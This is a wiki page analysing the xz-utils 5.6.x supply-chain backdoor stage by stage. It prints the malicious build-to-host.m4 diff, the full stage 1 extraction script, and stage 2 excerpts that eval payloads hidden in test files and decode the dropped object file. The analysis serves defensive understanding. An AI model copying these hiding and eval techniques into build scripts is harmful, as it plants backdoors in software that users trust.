Skip to content
Jonathan Schleifer edited this page Apr 2, 2024 · 3 revisions

There seem to be 3 stages and a payload.

Stage 0

This one is in the malicious .m4 file. It takes one of the test files and decompresses it to stage 1.

Here is the diff between a clean file (for 5.6.1):

--- /usr/share/aclocal/build-to-host.m4	2024-02-21 11:43:47.000000000 +0100
+++ m4/build-to-host.m4	2024-03-09 09:16:40.000000000 +0100
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Those changes are also in the generated configure script in the tarball.

The important bits here are:

gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null``

This uses grep to find the malicious test archive and sets gl_am_configmake to its path.

gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`

[$1] here is localedir (as this is an m4 macro), so this sets gl_localedir_prefix to xz (taken from the extension of the found archive).

gl_path_map='tr "\t \-_" " \t_\-"'

This is a transformation we'll need in the next step.

gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

This sets gl_localedir_config to stage 1. The sed is essentially equivalent to cat, the eval does the transformation via tr and $gl_[$1]_prefix is just xz.

And finally, stage 1 is executed:

AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])

Stage 1

Here is stage 1 from 5.6.1 in full (SHA-256: 4a26bbcee218698a3a7fb62f3b66b4c193e53243699816e9348e063849b0f6e6):

To extract stage 1:

tr "\t \-_" " \t_\-" <tests/files/bad-3-corrupt_lzma2.xz | xz -d 2>/dev/null
####Hello####
#�U��$�
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

So all it does is extract the malicious test archive, reassemble the output via head that has apparently been scrambled before, then use tr to perform more replacement and finally decompress it using xz and pipe it to the shell.

In 5.6.0, the checks for Linux are supposedly not there (I have not checked).

Stage 2

This one is too long to paste here in full. The SHA-256 from the one in 5.6.1 is 654c673c177a2a06c2b240ee07f81dc9096b1626f82855dc67722a5e10bbf6a1.

The main points are:

if test -f config.status; then

This is the first check it does. config.status is created by configure, so it uses this to check if it is run as part of configure (it seem to be run twice, more on that later).

New in 5.6.1 is that here, it tries to look for a stage 3 (indentation by me):

        vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
        if test "x$vs" != "x" > /dev/null 2>&1;then
                f1=`echo $vs | cut -d: -f1`
                if test "x$f1" != "x" > /dev/null 2>&1;then                     
                        start=`expr $(echo $vs | cut -d: -f2) + 7`
                        ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
                        if test "x$ve" != "x" > /dev/null 2>&1;then
                                f2=`echo $ve | cut -d: -f1`
                                if test "x$f2" != "x" > /dev/null 2>&1;then
                                        [ ! "x$f2" = "x$f1" ] && exit 0
                                        [ ! -f $f1 ] && exit 0
                                end=`expr $(echo $ve | cut -d: -f2) - $start`
                                eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
                                fi
                        fi
                fi
        fi

This was not in the initial post on oss-security@. It seems this was added in 5.6.1, but not present in 5.6.0. However, it is important to note that this is executed unconditionally, the only condition is that config.status exists.

Grepping for the magic strings does not yield a result, so it is possible that this was just in preparation for a future backdoor. However, if this for whatever reason executes, all theories of "this only affects you if X is true" are wrong except for the "this only affects you if you run Linux" as that is verified by stage 1.

Only after this, it goes on to check various things:

        if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
                exit 0
        fi
        if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
                exit 0
        fi

This might have somewhat rescued Fedora 40 Beta users: If you updated to Fedora 40 while 5.6.0-3 was already in repos and you never had a different version, this disables the backdoor, as 5.6.0-3 disabled ifunc.

        if test "x$enable_shared" != "xyes";then
                exit 0
        fi
        if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
                exit 0
        fi

Static libraries are not affected and non-Linux isn't affected, either.

The checks following after this are only checking that the source hasn't been modified too much so that the backdoor still works. As well as that GCC and GNU ld are being used and that the test files with the backdoor actually exist.

Now comes the most-talked-about part:

        if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

So only if a debian/rules exists in the source directory or if $RPM_ARCH is x86_64, it does the stuff inside the branch - which is the actual patching of the Makefile.

TODO: Write analysis for how the Makefile is patched.

However, there is also another branch that is taken if config.status is not present:

elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then

This would trigger after the build has already built those files. However, I think (TODO: Someone please verify) that if the Makefile isn't patched above, this is not executed.

This one again, unconditionally, looks for more backdoors in test files:

        vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`           
        if test "x$vs" != "x" > /dev/null 2>&1;then                              
                f1=`echo $vs | cut -d: -f1`                                      
                if test "x$f1" != "x" > /dev/null 2>&1;then                      
                        start=`expr $(echo $vs | cut -d: -f2) + 7`               
                        ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
                        if test "x$ve" != "x" > /dev/null 2>&1;then              
                                f2=`echo $ve | cut -d: -f1`                      
                                if test "x$f2" != "x" > /dev/null 2>&1;then      
                                        [ ! "x$f2" = "x$f1" ] && exit 0          
                                        [ ! -f $f1 ] && exit 0                   
                                end=`expr $(echo $ve | cut -d: -f2) - $start`    
                                eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
                                fi                                               
                        fi                                                       
                fi                                                               
        fi                              

Again, I could not find any test files that match these - with the same caveats as above.

It then goes on to check if the source is still "backdoorable" and finally writes the malicious .o file:

        xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

TODO: The following is just a stub

It then goes on to patch the source to make sure this dropped .o file gets used and renames the .o files (note the difference between - and _ in the file name!).

Clone this wiki locally